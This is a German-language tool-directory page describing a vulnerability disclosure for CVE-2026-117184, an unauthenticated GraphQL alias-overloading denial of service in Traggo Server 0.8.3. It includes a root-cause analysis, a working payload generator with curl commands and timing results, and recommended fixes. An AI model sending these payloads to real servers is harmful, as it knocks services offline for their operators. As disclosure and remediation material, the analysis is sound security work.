Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-117184 — Proof-of-Concept und technische Analyse zu CVE-2026-117184, einer nicht authentifizierten Denial-of-Service-Schwachstelle durch GraphQL-Alias-Überladung in Traggo 0.8.3, mit Payload-Generator und Hinweisen zur Behebung. | Kitploit
Tools/GitHubGitHub/primandito/cve-2026-117184
SchwachstellenanalyseWebsicherheitAPI-Sicherheit
GitHubprimandito/cve-2026-117184

CVE-2026-117184

Proof-of-Concept und technische Analyse zu CVE-2026-117184, einer nicht authentifizierten Denial-of-Service-Schwachstelle durch GraphQL-Alias-Überladung in Traggo 0.8.3, mit Payload-Generator und Hinweisen zur Behebung.

Repository anzeigen
vor 19 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    647
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    421
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer ist eine Open-Source-Plattform für Privileged Access Management (PAM), die DevOps- und IT-Teams bedarfsgesteuerten und sicheren Zugriff auf SSH-, RDP-, Kubernetes-, Datenbank- und RemoteApp-Endpunkte über einen Webbrowser bietet.

    389
  • 5

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    333
  • 6

    SafeLine

    chaitin/safeline

    Selbst gehosteter WAF und Reverse Proxy, der bösartigen HTTP-Verkehr filtert, SQL-Injection, XSS und Bot-Angriffe blockiert, mit Ratenbegrenzung und dynamischer HTML/JS-Verschlüsselung.

    331

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-117184 — Nicht authentifizierte Denial-of-Service-Attacke durch GraphQL-Alias-Überlastung in Traggo 0.8.3

CVE Version Status CVE State

Zusammenfassung

Traggo Server v0.8.3 ist anfällig für eine nicht authentifizierte Denial-of-Service-Attacke (DoS). Der GraphQL-Endpunkt akzeptiert eine unbegrenzte Anzahl von aliasten Feldern und hat keine Begrenzung der Request-Body-Größe. Da dem Feld version die Direktive @hasRole fehlt, kann dies ohne Anmeldung ausgelöst werden.

Ein präpariertes Dokument mit vielen Aliasen (z. B. {v0:version{name} v1:version{name} ...}) zwingt den Server, viel Zeit für die Auflösung von Feldern aufzuwenden und übermäßig viel Speicher zu allokieren. Eine einzelne Anfrage mit 100.000 Aliasen (eine Nutzlast von 2,0 MB) bindet einen CPU-Kern für über 100 Sekunden und verbraucht nahezu 1 GB RAM. Parallele Anfragen können den Prozess leicht in den OOM-Bereich (Out of Memory) treiben.

FeldWert
CVE-IDCVE-2026-117184
Offizieller Eintragcve.org/CVERecord?id=CVE-2026-117184
Betroffene VersionTraggo Server v0.8.3 (Commit 6321119c3c2d55f04e2e4967f6492aabd6067b76)
SchwachstellentypCWE-400: Unkontrollierter Ressourcenverbrauch (DoS)
AngriffsvektorNetzwerk
Erforderliche BerechtigungenKeine (nicht authentifiziert)
Betroffene KomponenteGraphQL-Endpunkt /graphql (graphql/handler.go), schema.graphql, logger/gql.go
Ursprünglicher Berichttraggo/server#253

Betroffene Dateien

DateipfadBeschreibung
graphql/handler.goHandler-Setup ohne Komplexitätslimit und ohne Body-Größenlimit.
schema.graphqlDem Feld version fehlt die Authentifizierungsdirektive.
auth/hasrole.goImplementierung der Direktive (wird für version übersprungen).
graphql/resolver.goDer version-Resolver wird für jeden Alias aufgerufen.
logger/gql.goDie Rohabfrage wird bei Fehlern protokolliert, was die Auswirkung der Body-Größe verstärkt.

Analyse der Ursache

1. Handler-Setup ohne Limits

graphql/handler.go:13-27 — handler.ComplexityLimit(...) wird nie übergeben. Der Request-Body gelangt direkt in gqlHandler.ServeHTTP, ohne http.MaxBytesReader.

func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
	gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
		Resolvers:  resolvers,
		Directives: directives,
	}), handler.RequestMiddleware(logger.GQLLog()))
	playground := handler.Playground("Traggo Playground", endpoint)

	return func(writer http.ResponseWriter, request *http.Request) {
		if acceptHTMLAndNotJSON(request) {
			playground.ServeHTTP(writer, request)
		} else {
			gqlHandler.ServeHTTP(writer, request)
		}
	}
}

2. Nicht authentifiziertes Feld version

schema.graphql:62 — Während andere Felder @hasRole(role: USER) besitzen, fehlt diese Angabe beim Feld version, wodurch es ohne Authorization-Header erreichbar ist.

devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!

3. Resolver-Amplifikation

graphql/resolver.go:67-71 — Jeder Alias im Selection Set ruft den Resolver separat auf, wodurch CPU- und Speichernutzung vervielfacht werden.

func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
	gql := &gqlmodel.Version{}
	copier.Copy(gql, r.version)
	return gql, nil
}

4. Standardverhalten von gqlgen

gqlgen v0.17.85 aktiviert das Komplexitätslimit nur, wenn die Anwendung es explizit setzt (handler/handler.go:59-67). Da Traggo dies nicht tut, ist cfg.complexityLimit 0, und es wird keine Erweiterung hinzugefügt.

5. Verstärkung durch Logging

logger/gql.go:27-36 — Selbst wenn die Abfrage fehlschlägt, wird die Rohabfrage protokolliert. Eine 20-MB-Nutzlast erzeugt pro Anfrage einen 20-MB-Log-Eintrag.

if len(errs) > 0 {
    // ...
	log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}

Proof of Concept

Getestet auf v0.8.3, aus dem Quellcode gebaut mit go build (Go 1.24.4, SQLite, 4 Kerne, 7,7 GB RAM).

Schritt 1: Unauthentifizierten Zugriff überprüfen

API=http://127.0.0.1:3999/graphql

curl -s -D - "$API" \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"{version{name commit}}"}' \
  -o /tmp/version.json

cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}

Schritt 2: Payload generieren

python3 - <<'EOF'
import json

for n in (5000, 20000, 50000, 100000):
    q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
    with open(f"/tmp/alias_{n}.json", "w") as f:
        json.dump({"query": q}, f)
EOF

(Die 100k-Datei ist 2.088.904 Bytes groß).

Schritt 3: Senden und messen

for n in 5000 20000 50000; do
  curl -s "$API" -H 'Content-Type: application/json' \
    -d @/tmp/alias_$n.json -o /dev/null \
    -w "$n: http=%{http_code} time=%{time_total}\n"
done
AliaseAnforderungsgrößeZeitAnmerkungen
5.00099 KB0,15 s
20.000409 KB2,37 s
50.0001,0 MB24,47 s100 % eines Kerns
100.0002,0 MB102,56 sRSS 962 MB

Schritt 4: Parallele Ausführung

Drei 50k-Anfragen parallel zeigten 291–299 % CPU auf einem 4-Kern-Rechner. Der Server stürzt nicht sofort ab, aber kleine Abfragen bleiben reaktionsfähig (etwa 1 ms), während die großen laufen. Das Hauptproblem ist CPU-Pinning und potenzielles OOM.


Empfohlene Behebung

1. Komplexitätslimit und Body-Size-Limit festlegen

Limits in graphql/handler.go anwenden:

gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
    Resolvers:  resolvers,
    Directives: directives,
}), 
    handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
    handler.RequestMiddleware(logger.GQLLog()),
)

// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
    request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
    // ... (rest of the handler)
}

Hinweis: Mit ComplexityLimit(1000) schlägt die 50k-Alias-Abfrage in 0,17s mit einem Fehler fehl: operation has complexity 100000, which exceeds the limit of 1000.

2. Das Feld version einschränken

Wenn version nicht öffentlich sein muss, füge @hasRole(role: USER) zu schema.graphql hinzu:

version: Version! @hasRole(role: USER)

Umgebung

KomponenteVersion
Traggo Serverv0.8.3 (Commit 6321119c...)
Go1.24.4
gqlgen0.17.85
DatenbankSQLite
BetriebssystemLinux (4 Kerne, 7,7 GB RAM)

Zeitverlauf

DatumEreignis
2026-10-22Issue #253 im Repository des Traggo-Servers gemeldet
2026-10-30Offizieller CVE-Eintrag auf cve.org veröffentlicht
—Warten auf Antwort des Maintainers zur Behebung

Referenzen

Tool herunterladen